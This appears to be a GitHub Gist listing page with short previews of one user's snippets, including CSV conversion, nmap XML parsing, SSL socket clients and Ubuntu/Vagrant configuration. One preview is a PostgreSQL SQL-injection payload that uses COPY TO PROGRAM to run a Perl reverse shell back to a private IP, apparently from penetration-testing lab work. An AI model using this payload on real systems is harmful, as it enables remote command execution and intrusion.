This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import csv | |
with open("summary.txt", 'r') as file: | |
lines = file.readlines() | |
with open("summary.csv", 'w', newline='', encoding='utf-8') as csvfile: | |
csv_writer = csv.writer(csvfile) | |
for line in lines: | |
try: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
id=1';COPY (SELECT '') TO PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.45.225:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; -- |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def remove_links_and_usernames(texto): | |
texto = re.sub('@\S+','',texto) | |
texto = re.sub('http\S+','',texto) | |
return texto |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://www.tecmint.com/install-dhcp-server-client-on-centos-ubuntu/ | |
$script = <<-SCRIPT | |
sudo apt install isc-dhcp-server -y | |
sudo systemctl start isc-dhcp-server | |
sudo systemctl enable isc-dhcp-server | |
SCRIPT | |
class VagrantPlugins::ProviderVirtualBox::Action::Network | |
def dhcp_server_matches_config?(dhcp_server, config) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#deb cdrom:[Ubuntu 20.04.2.0 LTS _Focal Fossa_ - Release amd64 (20210209.1)]/ focal main restricted | |
# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to | |
# newer versions of the distribution. | |
deb http://br.archive.ubuntu.com/ubuntu/ focal main restricted | |
# deb-src http://br.archive.ubuntu.com/ubuntu/ focal main restricted | |
## Major bug fix updates produced after the final release of the | |
## distribution. | |
deb http://br.archive.ubuntu.com/ubuntu/ focal-updates main restricted |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
https://colab.research.google.com/drive/1_Jo6XfJaskp-286gzEs7Ma7WiFBzkyOj?usp=sharing |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from xml.dom import minidom | |
xmldoc = minidom.parse("nmap.xml") | |
hosts = xmldoc.getElementsByTagName("host") | |
for host in hosts: | |
hostnames = host.getElementsByTagName("hostnames") | |
for hostname in hostnames: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from xml.dom import minidom | |
xmldoc = minidom.parse("result.xml") | |
hosts = xmldoc.getElementsByTagName("host") | |
for host in hosts: | |
addresses = host.getElementsByTagName("address") | |
for address in addresses: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import socket | |
import ssl | |
#importando biblioteca para trabalhar com sockets SSL | |
host_addr = '127.0.0.1' | |
#definindo o endereço do servidor alvo | |
host_port = 8082 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import socket | |
import ssl | |
host_addr = '127.0.0.1' | |
host_port = 8082 | |
server_sni_hostname = 'example.com' | |
server_cert = 'server.crt' | |
client_cert = 'client.crt' |
NewerOlder